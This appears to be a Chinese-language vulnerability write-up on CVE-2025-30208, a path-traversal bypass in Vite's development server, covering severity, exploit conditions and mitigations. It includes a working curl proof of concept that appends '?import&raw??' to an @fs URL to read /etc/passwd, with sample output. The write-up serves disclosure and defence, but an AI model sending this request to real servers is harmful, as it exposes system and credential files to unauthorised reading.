CVE-2025-30208 – Vite开发服务器中的任意文件读取漏洞:@fs路径遍历绕过

本文详细分析了CVE-2025-30208漏洞,该漏洞存在于Vite开发服务器的@fs路径处理中,允许远程攻击者通过特制URL绕过限制读取服务器任意文件,涉及技术细节、利用条件和缓解措施。

CVE-2025-30208 – Vite开发服务器中的@fs路径遍历绕过导致任意文件读取

概述

CVE-2025-30208是Vite开发服务器中的一个任意文件读取漏洞。该漏洞允许远程未经身份验证的攻击者通过滥用Vite的@fs URL处理功能,访问服务器文件系统上的任意文件。

CVE ID: CVE-2025-30208
严重性: 中等
CVSS评分: 5.3
EPSS评分: 75.83%
影响: 信息泄露
攻击向量: 网络
需要身份验证: 否
受影响组件: Vite开发服务器中的@fs路径处理器

此问题影响在开发模式下运行Vite的应用程序,如果开发服务器可远程访问,则会暴露敏感的服务器端文件。

技术分析

Vite支持特殊路径,如/@fs/absolute/path,用于在开发期间直接从文件系统导入文件。通常,Vite会限制访问其允许列表(即项目根目录)之外的文件。
然而,通过在请求中附加?import&raw??,攻击者可以绕过此保护,强制Vite读取并返回任意文件内容作为原始ES模块导出。

利用条件

  • 应用程序正在运行Vite开发服务器(通常在端口5173上)。
  • 服务器可远程访问(例如,通过互联网或内网暴露)。
  • 攻击者可以向开发服务器发出特制的HTTP GET请求。
  • 目标文件可由运行Vite进程的用户读取。

漏洞代码行为

预期行为:

1
2
$ curl "http://localhost:5173/@fs/etc/passwd"
# => 403 Restricted

安全绕过(漏洞利用):

1
2
3
4
5
$ curl "http://localhost:5173/@fs/etc/passwd?import&raw??"

# 响应
export default "root:x:0:0:root:/root:/bin/bash\nuser:x:1000:1000:user:/home/user:/bin/bash\n";
//# sourceMappingURL=data:application/json;base64,...

双问号(??)混淆了Vite的导入解析器,绕过了默认的允许列表限制,并启用了任意文件泄露。服务器响应包含包装在ES模块export default中的文件内容。

缓解措施

  • 切勿将Vite的开发服务器暴露给公共互联网。
  • 升级Vite到最新的修补版本,其中修复了此绕过问题。
  • 考虑在仅本地代理或严格防火墙规则后运行开发服务器。

参考

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计